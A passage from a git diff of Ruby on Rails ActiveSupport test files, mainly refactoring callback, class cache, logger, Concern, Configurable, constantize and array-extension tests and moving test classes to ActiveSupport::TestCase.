     entry = ActiveSupport::Cache::Entry.new("value", :compress => true, :compress_threshold => 1)
     assert_equal "value", entry.value
-    assert_equal true, entry.compressed?
+    assert entry.compressed?
     assert_equal "value", Marshal.load(Zlib::Inflate.inflate(entry.raw_value))
   end
 
@@ -748,6 +862,6 @@ class CacheEntryTest < ActiveSupport::TestCase
     entry = ActiveSupport::Cache::Entry.new("value")
     assert_equal "value", entry.value
     assert_equal "value", Marshal.load(entry.raw_value)
-    assert_equal false, entry.compressed?
+    assert !entry.compressed?
   end
 end
diff --git a/activesupport/test/callback_inheritance_test.rb b/activesupport/test/callback_inheritance_test.rb
index 06259c648c..6be8ea8b84 100644
--- a/activesupport/test/callback_inheritance_test.rb
+++ b/activesupport/test/callback_inheritance_test.rb
@@ -1,5 +1,4 @@
 require 'abstract_unit'
-require 'test/unit'
 
 class GrandParent
   include ActiveSupport::Callbacks
@@ -10,8 +9,8 @@ class GrandParent
   end
 
   define_callbacks :dispatch
-  set_callback :dispatch, :before, :before1, :before2, :per_key => {:if => proc {|c| c.action_name == "index" || c.action_name == "update" }}
-  set_callback :dispatch, :after, :after1, :after2, :per_key => {:if => proc {|c| c.action_name == "update" || c.action_name == "delete" }}
+  set_callback :dispatch, :before, :before1, :before2, :if => proc {|c| c.action_name == "index" || c.action_name == "update" }
+  set_callback :dispatch, :after, :after1, :after2, :if => proc {|c| c.action_name == "update" || c.action_name == "delete" }
 
   def before1
     @log << "before1"
@@ -30,7 +29,7 @@ class GrandParent
   end
 
   def dispatch
-    run_callbacks(:dispatch, action_name) do
+    run_callbacks :dispatch do
       @log << action_name
     end
     self
@@ -38,12 +37,12 @@ class GrandParent
 end
 
 class Parent < GrandParent
-  skip_callback :dispatch, :before, :before2, :per_key => {:unless => proc {|c| c.action_name == "update" }}
-  skip_callback :dispatch, :after, :after2, :per_key => {:unless => proc {|c| c.action_name == "delete" }}
+  skip_callback :dispatch, :before, :before2, :unless => proc {|c| c.action_name == "update" }
+  skip_callback :dispatch, :after, :after2, :unless => proc {|c| c.action_name == "delete" }
 end
 
 class Child < GrandParent
-  skip_callback :dispatch, :before, :before2, :per_key => {:unless => proc {|c| c.action_name == "update" }}, :if => :state_open?
+  skip_callback :dispatch, :before, :before2, :unless => proc {|c| c.action_name == "update" }, :if => :state_open?
 
   def state_open?
     @state == :open
@@ -105,7 +104,7 @@ end
 class CountingChild < CountingParent
 end
 
-class BasicCallbacksTest < Test::Unit::TestCase
+class BasicCallbacksTest < ActiveSupport::TestCase
   def setup
     @index    = GrandParent.new("index").dispatch
     @update   = GrandParent.new("update").dispatch
@@ -113,20 +112,20 @@ class BasicCallbacksTest < Test::Unit::TestCase
     @unknown  = GrandParent.new("unknown").dispatch
   end
 
-  def test_basic_per_key1
+  def test_basic_conditional_callback1
     assert_equal %w(before1 before2 index), @index.log
   end
 
-  def test_basic_per_key2
+  def test_basic_conditional_callback2
     assert_equal %w(before1 before2 update after2 after1), @update.log
   end
 
-  def test_basic_per_key3
+  def test_basic_conditional_callback3
     assert_equal %w(delete after2 after1), @delete.log
   end
 end
 
-class InheritedCallbacksTest < Test::Unit::TestCase
+class InheritedCallbacksTest < ActiveSupport::TestCase
   def setup
     @index    = Parent.new("index").dispatch
     @update   = Parent.new("update").dispatch
@@ -147,7 +146,7 @@ class InheritedCallbacksTest < Test::Unit::TestCase
   end
 end
 
-class InheritedCallbacksTest2 < Test::Unit::TestCase
+class InheritedCallbacksTest2 < ActiveSupport::TestCase
   def setup
     @update1 = Child.new("update", :open).dispatch
     @update2 = Child.new("update", :closed).dispatch
@@ -162,7 +161,7 @@ class InheritedCallbacksTest2 < Test::Unit::TestCase
   end
 end
 
-class DynamicInheritedCallbacks < Test::Unit::TestCase
+class DynamicInheritedCallbacks < ActiveSupport::TestCase
   def test_callbacks_looks_to_the_superclass_before_running
     child = EmptyChild.new.dispatch
     assert !child.performed?
diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb
index 2b4adda4d1..b7c3b130c3 100644
--- a/activesupport/test/callbacks_test.rb
+++ b/activesupport/test/callbacks_test.rb
@@ -1,10 +1,9 @@
 require 'abstract_unit'
-require 'test/unit'
 
 module CallbacksTest
   class Phone
     include ActiveSupport::Callbacks
-    define_callbacks :save, :rescuable => true
+    define_callbacks :save
 
     set_callback :save, :before, :before_save1
     set_callback :save, :after, :after_save1
@@ -96,7 +95,7 @@ module CallbacksTest
 
     define_callbacks :dispatch
 
-    set_callback :dispatch, :before, :log, :per_key => {:unless => proc {|c| c.action_name == :index || c.action_name == :show }}
+    set_callback :dispatch, :before, :log, :unless => proc {|c| c.action_name == :index || c.action_name == :show }
     set_callback :dispatch, :after, :log2
 
     attr_reader :action_name, :logger
@@ -113,7 +112,7 @@ module CallbacksTest
     end
 
     def dispatch
-      run_callbacks :dispatch, action_name do
+      run_callbacks :dispatch do
         @logger << "Done"
       end
       self
@@ -121,7 +120,7 @@ module CallbacksTest
   end
 
   class Child < ParentController
-    skip_callback :dispatch, :before, :log, :per_key => {:if => proc {|c| c.action_name == :update} }
+    skip_callback :dispatch, :before, :log, :if => proc {|c| c.action_name == :update} 
     skip_callback :dispatch, :after, :log2
   end
 
@@ -132,10 +131,10 @@ module CallbacksTest
       super
     end
 
-    before_save Proc.new {|r| r.history << [:before_save, :starts_true, :if] }, :per_key => {:if => :starts_true}
-    before_save Proc.new {|r| r.history << [:before_save, :starts_false, :if] }, :per_key => {:if => :starts_false}
-    before_save Proc.new {|r| r.history << [:before_save, :starts_true, :unless] }, :per_key => {:unless => :starts_true}
-    before_save Proc.new {|r| r.history << [:before_save, :starts_false, :unless] }, :per_key => {:unless => :starts_false}
+    before_save Proc.new {|r| r.history << [:before_save, :starts_true, :if] }, :if => :starts_true
+    before_save Proc.new {|r| r.history << [:before_save, :starts_false, :if] }, :if => :starts_false
+    before_save Proc.new {|r| r.history << [:before_save, :starts_true, :unless] }, :unless => :starts_true
+    before_save Proc.new {|r| r.history << [:before_save, :starts_false, :unless] }, :unless => :starts_false
 
     def starts_true
       if @@starts_true
@@ -154,11 +153,11 @@ module CallbacksTest
     end
 
     def save
-      run_callbacks :save, :action
+      run_callbacks :save
     end
   end
 
-  class OneTimeCompileTest < Test::Unit::TestCase
+  class OneTimeCompileTest < ActiveSupport::TestCase
     def test_optimized_first_compile
       around = OneTimeCompile.new
       around.save
@@ -177,7 +176,7 @@ module CallbacksTest
     end
   end
 
-  class AfterSaveConditionalPersonCallbackTest < Test::Unit::TestCase
+  class AfterSaveConditionalPersonCallbackTest < ActiveSupport::TestCase
     def test_after_save_runs_in_the_reverse_order
       person = AfterSaveConditionalPerson.new
       person.save
@@ -330,7 +329,7 @@ module CallbacksTest
     define_callbacks :save
     attr_reader :stuff
 
-    set_callback :save, :before, :action, :per_key => {:if => :yes}
+    set_callback :save, :before, :action, :if => :yes
 
     def yes() true end
 
@@ -339,13 +338,61 @@ module CallbacksTest
     end
 
     def save
-      run_callbacks :save, "hyphen-ated" do
+      run_callbacks :save do
         @stuff
       end
     end
   end
 
-  class AroundCallbacksTest < Test::Unit::TestCase
+  module ExtendModule
+    def self.extended(base)
+      base.class_eval do
+        set_callback :save, :before, :record3
+      end
+    end
+    def record3
+      @recorder << 3
+    end
+  end
+
+  module IncludeModule
+    def self.included(base)
+      base.class_eval do
+        set_callback :save, :before, :record2
+      end
+    end
+    def record2
+      @recorder << 2
+    end
+  end
+
+  class ExtendCallbacks
+
+    include ActiveSupport::Callbacks
+
+    define_callbacks :save
+    set_callback :save, :before, :record1
+
+    include IncludeModule
+
+    def save
+      run_callbacks :save
+    end
+
+    attr_reader :recorder
+
+    def initialize
+      @recorder = []
+    end
+
+    private
+
+      def record1
+        @recorder << 1
+      end
+  end
+
+  class AroundCallbacksTest < ActiveSupport::TestCase
     def test_save_around
       around = AroundPerson.new
       around.save
@@ -364,7 +411,7 @@ module CallbacksTest
     end
   end
   
-  class AroundCallbackResultTest < Test::Unit::TestCase
+  class AroundCallbackResultTest < ActiveSupport::TestCase
     def test_save_around
       around = AroundPersonResult.new
       around.save
@@ -372,7 +419,7 @@ module CallbacksTest
     end
   end
 
-  class SkipCallbacksTest < Test::Unit::TestCase
+  class SkipCallbacksTest < ActiveSupport::TestCase
     def test_skip_person
       person = PersonSkipper.new
       assert_equal [], person.history
@@ -391,14 +438,7 @@ module CallbacksTest
     end
   end
 
-  class CallbacksTest < Test::Unit::TestCase
-    def test_save_phone
-      phone = Phone.new
-      assert_raise RuntimeError do
-        phone.save
-      end
-      assert_equal [:before, :after], phone.history
-    end
+  class CallbacksTest < ActiveSupport::TestCase
 
     def test_save_person
       person = Person.new
@@ -419,7 +459,7 @@ module CallbacksTest
     end
   end
 
-  class ConditionalCallbackTest < Test::Unit::TestCase
+  class ConditionalCallbackTest < ActiveSupport::TestCase
     def test_save_conditional_person
       person = ConditionalPerson.new
       person.save
@@ -437,7 +477,7 @@ module CallbacksTest
 
 
 
-  class ResetCallbackTest < Test::Unit::TestCase
+  class ResetCallbackTest < ActiveSupport::TestCase
     def test_save_conditional_person
       person = CleanPerson.new
       person.save
@@ -461,7 +501,7 @@ module CallbacksTest
     set_callback :save, :after, :third
 
 
-    attr_reader :history, :saved
+    attr_reader :history, :saved, :halted
     def initialize
       @history = []
     end
@@ -490,6 +530,10 @@ module CallbacksTest
         @saved = true
       end
     end
+
+    def halted_callback_hook(filter)
+      @halted = filter
+    end
   end
 
   class CallbackObject
@@ -563,7 +607,7 @@ module CallbacksTest
     end
   end
 
-  class UsingObjectTest < Test::Unit::TestCase
+  class UsingObjectTest < ActiveSupport::TestCase
     def test_before_object
       u = UsingObjectBefore.new
       u.save
@@ -588,13 +632,19 @@ module CallbacksTest
     end
   end
 
-  class CallbackTerminatorTest < Test::Unit::TestCase
+  class CallbackTerminatorTest < ActiveSupport::TestCase
     def test_termination
       terminator = CallbackTerminator.new
       terminator.save
       assert_equal ["first", "second", "third", "second", "first"], terminator.history
     end
 
+    def test_termination_invokes_hook
+      terminator = CallbackTerminator.new
+      terminator.save
+      assert_equal ":second", terminator.halted
+    end
+
     def test_block_never_called_if_terminated
       obj = CallbackTerminator.new
       obj.save
@@ -602,7 +652,7 @@ module CallbacksTest
     end
   end
 
-  class HyphenatedKeyTest < Test::Unit::TestCase
+  class HyphenatedKeyTest < ActiveSupport::TestCase
     def test_save
       obj = HyphenatedCallbacks.new
       obj.save
@@ -615,7 +665,7 @@ module CallbacksTest
     skip_callback :save, :before, :before_save_method, :if => lambda {self.age > 21}
   end
 
-  class WriterCallbacksTest < Test::Unit::TestCase
+  class WriterCallbacksTest < ActiveSupport::TestCase
     def test_skip_writer
       writer = WriterSkipper.new
       writer.age = 18
@@ -636,4 +686,28 @@ module CallbacksTest
     end
   end
 
+  class ExtendCallbacksTest < ActiveSupport::TestCase
+    def test_save
+      model = ExtendCallbacks.new.extend ExtendModule
+      model.save
+      assert_equal [1, 2, 3], model.recorder
+    end
+  end
+
+  class PerKeyOptionDeprecationTest < ActiveSupport::TestCase
+
+    def test_per_key_option_deprecaton
+      assert_raise NotImplementedError do
+        Phone.class_eval do
+          set_callback :save, :before, :before_save1, :per_key => {:if => "true"}
+        end
+      end
+      assert_raise NotImplementedError do
+        Phone.class_eval do
+          skip_callback :save, :before, :before_save1, :per_key => {:if => "true"}
+        end
+      end
+    end
+  end
+ 
 end
diff --git a/activesupport/test/class_cache_test.rb b/activesupport/test/class_cache_test.rb
index 752c0ee478..b96f476ce6 100644
--- a/activesupport/test/class_cache_test.rb
+++ b/activesupport/test/class_cache_test.rb
@@ -10,45 +10,58 @@ module ActiveSupport
 
       def test_empty?
         assert @cache.empty?
-        @cache[ClassCacheTest] = ClassCacheTest
+        @cache.store(ClassCacheTest)
         assert !@cache.empty?
       end
 
       def test_clear!
         assert @cache.empty?
-        @cache[ClassCacheTest] = ClassCacheTest
+        @cache.store(ClassCacheTest)
         assert !@cache.empty?
         @cache.clear!
         assert @cache.empty?
       end
 
       def test_set_key
-        @cache[ClassCacheTest] = ClassCacheTest
+        @cache.store(ClassCacheTest)
         assert @cache.key?(ClassCacheTest.name)
       end
 
-      def test_set_rejects_strings
-        @cache[ClassCacheTest.name] = ClassCacheTest
-        assert @cache.empty?
-      end
-
       def test_get_with_class
-        @cache[ClassCacheTest] = ClassCacheTest
-        assert_equal ClassCacheTest, @cache[ClassCacheTest]
+        @cache.store(ClassCacheTest)
+        assert_equal ClassCacheTest, @cache.get(ClassCacheTest)
       end
 
       def test_get_with_name
-        @cache[ClassCacheTest] = ClassCacheTest
-        assert_equal ClassCacheTest, @cache[ClassCacheTest.name]
+        @cache.store(ClassCacheTest)
+        assert_equal ClassCacheTest, @cache.get(ClassCacheTest.name)
       end
 
       def test_get_constantizes
         assert @cache.empty?
-        assert_equal ClassCacheTest, @cache[ClassCacheTest.name]
+        assert_equal ClassCacheTest, @cache.get(ClassCacheTest.name)
       end
 
-      def test_get_is_an_alias
-        assert_equal @cache[ClassCacheTest], @cache.get(ClassCacheTest.name)
+      def test_get_constantizes_fails_on_invalid_names
+        assert @cache.empty?
+        assert_raise NameError do
+          @cache.get("OmgTotallyInvalidConstantName")
+        end
+      end
+
+      def test_get_alias
+        assert @cache.empty?
+        assert_equal @cache[ClassCacheTest.name], @cache.get(ClassCacheTest.name)
+      end
+
+      def test_safe_get_constantizes
+        assert @cache.empty?
+        assert_equal ClassCacheTest, @cache.safe_get(ClassCacheTest.name)
+      end
+
+      def test_safe_get_constantizes_doesnt_fail_on_invalid_names
+        assert @cache.empty?
+        assert_equal nil, @cache.safe_get("OmgTotallyInvalidConstantName")
       end
 
       def test_new_rejects_strings
diff --git a/activesupport/test/clean_backtrace_test.rb b/activesupport/test/clean_backtrace_test.rb
index 32e346bb48..b14950acb3 100644
--- a/activesupport/test/clean_backtrace_test.rb
+++ b/activesupport/test/clean_backtrace_test.rb
@@ -6,8 +6,10 @@ class BacktraceCleanerFilterTest < ActiveSupport::TestCase
     @bc.add_filter { |line| line.gsub("/my/prefix", '') }
   end
 
-  test "backtrace should not contain prefix when it has been filtered out" do
-    assert_equal "/my/class.rb", @bc.clean([ "/my/prefix/my/class.rb" ]).first
+  test "backtrace should filter all lines in a backtrace, removing prefixes" do
+    assert_equal \
+        ["/my/class.rb", "/my/module.rb"],
+        @bc.clean(["/my/prefix/my/class.rb", "/my/prefix/my/module.rb"])
   end
 
   test "backtrace cleaner should allow removing filters" do
@@ -19,11 +21,6 @@ class BacktraceCleanerFilterTest < ActiveSupport::TestCase
     assert_equal "/my/other_prefix/my/class.rb", @bc.clean([ "/my/other_prefix/my/class.rb" ]).first
   end
 
-  test "backtrace should filter all lines in a backtrace" do
-    assert_equal \
-      ["/my/class.rb", "/my/module.rb"],
-      @bc.clean([ "/my/prefix/my/class.rb", "/my/prefix/my/module.rb" ])
-  end
 end
 
 class BacktraceCleanerSilencerTest < ActiveSupport::TestCase
diff --git a/activesupport/test/clean_logger_test.rb b/activesupport/test/clean_logger_test.rb
index 2cc46904b4..02693a97dc 100644
--- a/activesupport/test/clean_logger_test.rb
+++ b/activesupport/test/clean_logger_test.rb
@@ -1,11 +1,11 @@
 require 'abstract_unit'
 require 'stringio'
-require 'active_support/core_ext/logger'
+require 'active_support/logger'
 
-class CleanLoggerTest < Test::Unit::TestCase
+class CleanLoggerTest < ActiveSupport::TestCase
   def setup
     @out = StringIO.new
-    @logger = Logger.new(@out)
+    @logger = ActiveSupport::Logger.new(@out)
   end
 
   def test_format_message
@@ -13,40 +13,11 @@ class CleanLoggerTest < Test::Unit::TestCase
     assert_equal "error\n", @out.string
   end
 
-  def test_silence
-    # Without yielding self.
-    @logger.silence do
-      @logger.debug  'debug'
-      @logger.info   'info'
-      @logger.warn   'warn'
-      @logger.error  'error'
-      @logger.fatal  'fatal'
-    end
-
-    # Yielding self.
-    @logger.silence do |logger|
-      logger.debug  'debug'
-      logger.info   'info'
-      logger.warn   'warn'
-      logger.error  'error'
-      logger.fatal  'fatal'
-    end
-
-    # Silencer off.
-    Logger.silencer = false
-    @logger.silence do |logger|
-      logger.warn   'unsilenced'
-    end
-    Logger.silencer = true
-
-    assert_equal "error\nfatal\nerror\nfatal\nunsilenced\n", @out.string
-  end
-
   def test_datetime_format
     @logger.formatter = Logger::Formatter.new
-    @logger.datetime_format = "%Y-%m-%d"
+    @logger.formatter.datetime_format = "%Y-%m-%d"
     @logger.debug 'debug'
-    assert_equal "%Y-%m-%d", @logger.datetime_format
+    assert_equal "%Y-%m-%d", @logger.formatter.datetime_format
     assert_match(/D, \[\d\d\d\d-\d\d-\d\d#\d+\] DEBUG -- : debug/, @out.string)
   end
 
diff --git a/activesupport/test/concern_test.rb b/activesupport/test/concern_test.rb
index 4cbe56a2d2..912ce30c29 100644
--- a/activesupport/test/concern_test.rb
+++ b/activesupport/test/concern_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/concern'
 
-class ConcernTest < Test::Unit::TestCase
+class ConcernTest < ActiveSupport::TestCase
   module Baz
     extend ActiveSupport::Concern
 
@@ -19,9 +19,6 @@ class ConcernTest < Test::Unit::TestCase
       end
     end
 
-    module InstanceMethods
-    end
-
     included do
       self.included_ran = true
     end
@@ -74,7 +71,7 @@ class ConcernTest < Test::Unit::TestCase
   def test_instance_methods_are_included
     @klass.send(:include, Baz)
     assert_equal "baz", @klass.new.baz
-    assert @klass.included_modules.include?(ConcernTest::Baz::InstanceMethods)
+    assert @klass.included_modules.include?(ConcernTest::Baz)
   end
 
   def test_included_block_is_ran
@@ -92,6 +89,6 @@ class ConcernTest < Test::Unit::TestCase
 
   def test_dependencies_with_multiple_modules
     @klass.send(:include, Foo)
-    assert_equal [ConcernTest::Foo, ConcernTest::Bar, ConcernTest::Baz::InstanceMethods, ConcernTest::Baz], @klass.included_modules[0..3]
+    assert_equal [ConcernTest::Foo, ConcernTest::Bar, ConcernTest::Baz], @klass.included_modules[0..2]
   end
 end
diff --git a/activesupport/test/configurable_test.rb b/activesupport/test/configurable_test.rb
index 2e5ea2c360..da7729d066 100644
--- a/activesupport/test/configurable_test.rb
+++ b/activesupport/test/configurable_test.rb
@@ -5,7 +5,8 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
   class Parent
     include ActiveSupport::Configurable
     config_accessor :foo
-    config_accessor :bar, :instance_reader => false, :instance_writer => false
+    config_accessor :bar, instance_reader: false, instance_writer: false
+    config_accessor :baz, instance_accessor: false
   end
 
   class Child < Parent
@@ -19,13 +20,13 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
   end
 
   test "adds a configuration hash" do
-    assert_equal({ :foo => :bar }, Parent.config)
+    assert_equal({ foo: :bar }, Parent.config)
   end
 
   test "adds a configuration hash to a module as well" do
     mixin = Module.new { include ActiveSupport::Configurable }
     mixin.config.foo = :bar
-    assert_equal({ :foo => :bar }, mixin.config)
+    assert_equal({ foo: :bar }, mixin.config)
   end
 
   test "configuration hash is inheritable" do
@@ -39,8 +40,12 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
 
   test "configuration accessors is not available on instance" do
     instance = Parent.new
+
     assert !instance.respond_to?(:bar)
     assert !instance.respond_to?(:bar=)
+
+    assert !instance.respond_to?(:baz)
+    assert !instance.respond_to?(:baz=)
   end
 
   test "configuration hash is available on instance" do
@@ -71,6 +76,15 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
     assert_method_defined child.new.config, :bar
   end
 
+  test "should raise name error if attribute name is invalid" do
+    assert_raises NameError do
+      Class.new do 
+        include ActiveSupport::Configurable
+        config_accessor "invalid attribute name"
+      end
+    end
+  end
+
   def assert_method_defined(object, method)
     methods = object.public_methods.map(&:to_s)
     assert methods.include?(method.to_s), "Expected #{methods.inspect} to include #{method.to_s.inspect}"
@@ -80,4 +94,4 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
     methods = object.public_methods.map(&:to_s)
     assert !methods.include?(method.to_s), "Expected #{methods.inspect} to not include #{method.to_s.inspect}"
   end
-end
+end
\ No newline at end of file
diff --git a/activesupport/test/constantize_test_cases.rb b/activesupport/test/constantize_test_cases.rb
index 81d200a0c8..ec05213409 100644
--- a/activesupport/test/constantize_test_cases.rb
+++ b/activesupport/test/constantize_test_cases.rb
@@ -1,16 +1,41 @@
 module Ace
   module Base
     class Case
+      class Dice
+      end
     end
+    class Fase < Case
+    end
+  end
+  class Gas
+    include Base
   end
 end
 
+class Object
+  module AddtlGlobalConstants
+    class Case
+      class Dice
+      end
+    end
+  end
+  include AddtlGlobalConstants
+end
+
 module ConstantizeTestCases
   def run_constantize_tests_on
     assert_nothing_raised { assert_equal Ace::Base::Case, yield("Ace::Base::Case") }
     assert_nothing_raised { assert_equal Ace::Base::Case, yield("::Ace::Base::Case") }
+    assert_nothing_raised { assert_equal Ace::Base::Case::Dice, yield("Ace::Base::Case::Dice") }
+    assert_nothing_raised { assert_equal Ace::Base::Fase::Dice, yield("Ace::Base::Fase::Dice") }
+    assert_nothing_raised { assert_equal Ace::Gas::Case, yield("Ace::Gas::Case") }
+    assert_nothing_raised { assert_equal Ace::Gas::Case::Dice, yield("Ace::Gas::Case::Dice") }
+    assert_nothing_raised { assert_equal Case::Dice, yield("Case::Dice") }
+    assert_nothing_raised { assert_equal Case::Dice, yield("Object::Case::Dice") }
     assert_nothing_raised { assert_equal ConstantizeTestCases, yield("ConstantizeTestCases") }
     assert_nothing_raised { assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases") }
+    assert_nothing_raised { assert_equal Object, yield("") }
+    assert_nothing_raised { assert_equal Object, yield("::") }
     assert_raise(NameError) { yield("UnknownClass") }
     assert_raise(NameError) { yield("UnknownClass::Ace") }
     assert_raise(NameError) { yield("UnknownClass::Ace::Base") }
@@ -18,13 +43,23 @@ module ConstantizeTestCases
     assert_raise(NameError) { yield("InvalidClass\n") }
     assert_raise(NameError) { yield("Ace::ConstantizeTestCases") }
     assert_raise(NameError) { yield("Ace::Base::ConstantizeTestCases") }
+    assert_raise(NameError) { yield("Ace::Gas::Base") }
+    assert_raise(NameError) { yield("Ace::Gas::ConstantizeTestCases") }
   end
-  
+
   def run_safe_constantize_tests_on
     assert_nothing_raised { assert_equal Ace::Base::Case, yield("Ace::Base::Case") }
     assert_nothing_raised { assert_equal Ace::Base::Case, yield("::Ace::Base::Case") }
+    assert_nothing_raised { assert_equal Ace::Base::Case::Dice, yield("Ace::Base::Case::Dice") }
+    assert_nothing_raised { assert_equal Ace::Base::Fase::Dice, yield("Ace::Base::Fase::Dice") }
+    assert_nothing_raised { assert_equal Ace::Gas::Case, yield("Ace::Gas::Case") }
+    assert_nothing_raised { assert_equal Ace::Gas::Case::Dice, yield("Ace::Gas::Case::Dice") }
+    assert_nothing_raised { assert_equal Case::Dice, yield("Case::Dice") }
+    assert_nothing_raised { assert_equal Case::Dice, yield("Object::Case::Dice") }
     assert_nothing_raised { assert_equal ConstantizeTestCases, yield("ConstantizeTestCases") }
     assert_nothing_raised { assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases") }
+    assert_nothing_raised { assert_equal Object, yield("") }
+    assert_nothing_raised { assert_equal Object, yield("::") }
     assert_nothing_raised { assert_equal nil, yield("UnknownClass") }
     assert_nothing_raised { assert_equal nil, yield("UnknownClass::Ace") }
     assert_nothing_raised { assert_equal nil, yield("UnknownClass::Ace::Base") }
@@ -33,5 +68,8 @@ module ConstantizeTestCases
     assert_nothing_raised { assert_equal nil, yield("blargle") }
     assert_nothing_raised { assert_equal nil, yield("Ace::ConstantizeTestCases") }
     assert_nothing_raised { assert_equal nil, yield("Ace::Base::ConstantizeTestCases") }
+    assert_nothing_raised { assert_equal nil, yield("Ace::Gas::Base") }
+    assert_nothing_raised { assert_equal nil, yield("Ace::Gas::ConstantizeTestCases") }
+    assert_nothing_raised { assert_equal nil, yield("#<Class:0x7b8b718b>::Nested_1") }
   end
-end
\ No newline at end of file
+end
diff --git a/activesupport/test/core_ext/array_ext_test.rb b/activesupport/test/core_ext/array_ext_test.rb
index 52231aaeb0..9dfa2cbf11 100644
--- a/activesupport/test/core_ext/array_ext_test.rb
+++ b/activesupport/test/core_ext/array_ext_test.rb
@@ -6,7 +6,7 @@ require 'active_support/core_ext/object/conversions'
 require 'active_support/core_ext' # FIXME: pulling in all to_xml extensions
 require 'active_support/hash_with_indifferent_access'
 
-class ArrayExtAccessTests < Test::Unit::TestCase
+class ArrayExtAccessTests < ActiveSupport::TestCase
   def test_from
     assert_equal %w( a b c d ), %w( a b c d ).from(0)
     assert_equal %w( c d ), %w( a b c d ).from(2)
@@ -30,7 +30,7 @@ class ArrayExtAccessTests < Test::Unit::TestCase
   end
 end
 
-class ArrayExtToParamTests < Test::Unit::TestCase
+class ArrayExtToParamTests < ActiveSupport::TestCase
   class ToParam < String
     def to_param
       "#{self}1"
@@ -52,7 +52,7 @@ class ArrayExtToParamTests < Test::Unit::TestCase
   end
 end
 
-class ArrayExtToSentenceTests < Test::Unit::TestCase
+class ArrayExtToSentenceTests < ActiveSupport::TestCase
   def test_plain_array_to_sentence
     assert_equal "", [].to_sentence
     assert_equal "one", ['one'].to_sentence
@@ -90,9 +90,15 @@ class ArrayExtToSentenceTests < Test::Unit::TestCase
   def test_one_non_string_element
     assert_equal '1', [1].to_sentence
   end
+
+  def test_does_not_modify_given_hash
+    options = { words_connector: ' ' }
+    assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(options)
+    assert_equal({ words_connector: ' ' }, options)
+  end
 end
 
-class ArrayExtToSTests < Test::Unit::TestCase
+class ArrayExtToSTests < ActiveSupport::TestCase
   def test_to_s_db
     collection = [
       Class.new { def id() 1 end }.new,
@@ -105,7 +111,7 @@ class ArrayExtToSTests < Test::Unit::TestCase
   end
 end
 
-class ArrayExtGroupingTests < Test::Unit::TestCase
+class ArrayExtGroupingTests < ActiveSupport::TestCase
   def test_in_groups_of_with_perfect_fit
     groups = []
     ('a'..'i').to_a.in_groups_of(3) do |group|
@@ -188,7 +194,7 @@ class ArrayExtGroupingTests < Test::Unit::TestCase
   end
 end
 
-class ArraySplitTests < Test::Unit::TestCase
+class ArraySplitTests < ActiveSupport::TestCase
   def test_split_with_empty_array
     assert_equal [[]], [].split(0)
   end
@@ -209,7 +215,7 @@ class ArraySplitTests < Test::Unit::TestCase
   end
 end
 
-class ArrayToXmlTests < Test::Unit::TestCase
+class ArrayToXmlTests < ActiveSupport::TestCase
   def test_to_xml
     xml = [
       { :name => "David", :age => 26, :age_in_millis => 820497600000 },
@@ -299,7 +305,7 @@ class ArrayToXmlTests < Test::Unit::TestCase
   end
 end
 
-class ArrayExtractOptionsTests < Test::Unit::TestCase
+class ArrayExtractOptionsTests < ActiveSupport::TestCase
   class HashSubclass < Hash
   end
 
@@ -341,57 +347,37 @@ class ArrayExtractOptionsTests < Test::Unit::TestCase
   end
 end
 
-class ArrayUniqByTests < Test::Unit::TestCase
+class ArrayUniqByTests < ActiveSupport::TestCase
   def test_uniq_by
-    assert_equal [1,2], [1,2,3,4].uniq_by { |i| i.odd? }
-    assert_equal [1,2], [1,2,3,4].uniq_by(&:even?)
-    assert_equal((-5..0).to_a, (-5..5).to_a.uniq_by{ |i| i**2 })
+    ActiveSupport::Deprecation.silence do
+      assert_equal [1,2], [1,2,3,4].uniq_by { |i| i.odd? }
+      assert_equal [1,2], [1,2,3,4].uniq_by(&:even?)
+      assert_equal((-5..0).to_a, (-5..5).to_a.uniq_by{ |i| i**2 })
+    end
   end
 
   def test_uniq_by!
     a = [1,2,3,4]
-    a.uniq_by! { |i| i.odd? }
+    ActiveSupport::Deprecation.silence do
+      a.uniq_by! { |i| i.odd? }
+    end
     assert_equal [1,2], a
 
     a = [1,2,3,4]
-    a.uniq_by! { |i| i.even? }
+    ActiveSupport::Deprecation.silence do
+      a.uniq_by! { |i| i.even? }
+    end
     assert_equal [1,2], a
 
     a = (-5..5).to_a
-    a.uniq_by! { |i| i**2 }
+    ActiveSupport::Deprecation.silence do
+      a.uniq_by! { |i| i**2 }
+    end
     assert_equal((-5..0).to_a, a)
   end
 end
 
-class ArrayExtRandomTests < ActiveSupport::TestCase
-  def test_sample_from_array
-    assert_nil [].sample
-    assert_equal [], [].sample(5)
-    assert_equal 42, [42].sample
-    assert_equal [42], [42].sample(5)
-
-    a = [:foo, :bar, 42]
-    s = a.sample(2)
-    assert_equal 2, s.size
-    assert_equal 1, (a-s).size
-    assert_equal [], a-(0..20).sum{a.sample(2)}
-
-    o = Object.new
-    def o.to_int; 1; end
-    assert_equal [0], [0].sample(o)
-
-    o = Object.new
-    assert_raises(TypeError) { [0].sample(o) }
-
-    o = Object.new
-    def o.to_int; ''; end
-    assert_raises(TypeError) { [0].sample(o) }
-
-    assert_raises(ArgumentError) { [0].sample(-7) }
-  end
-end
-
-class ArrayWrapperTests < Test::Unit::TestCase
+class ArrayWrapperTests < ActiveSupport::TestCase
   class FakeCollection
     def to_ary
       ["foo", "bar"]
@@ -466,7 +452,7 @@ class ArrayWrapperTests < Test::Unit::TestCase
   end
 end
 
-class ArrayPrependAppendTest < Test::Unit::TestCase
+class ArrayPrependAppendTest < ActiveSupport::TestCase
   def test_append
     assert_equal [1, 2], [1].append(2)
   end
diff --git a/activesupport/test/core_ext/base64_ext_test.rb b/activesupport/test/core_ext/base64_ext_test.rb
deleted file mode 100644
index bd0e9f843d..0000000000
--- a/activesupport/test/core_ext/base64_ext_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'abstract_unit'
-
-class Base64Test < Test::Unit::TestCase
-  def test_no_newline_in_encoded_value
-    assert_match(/\n/,    ActiveSupport::Base64.encode64("oneverylongstringthatwouldnormallybesplitupbynewlinesbytheregularbase64"))
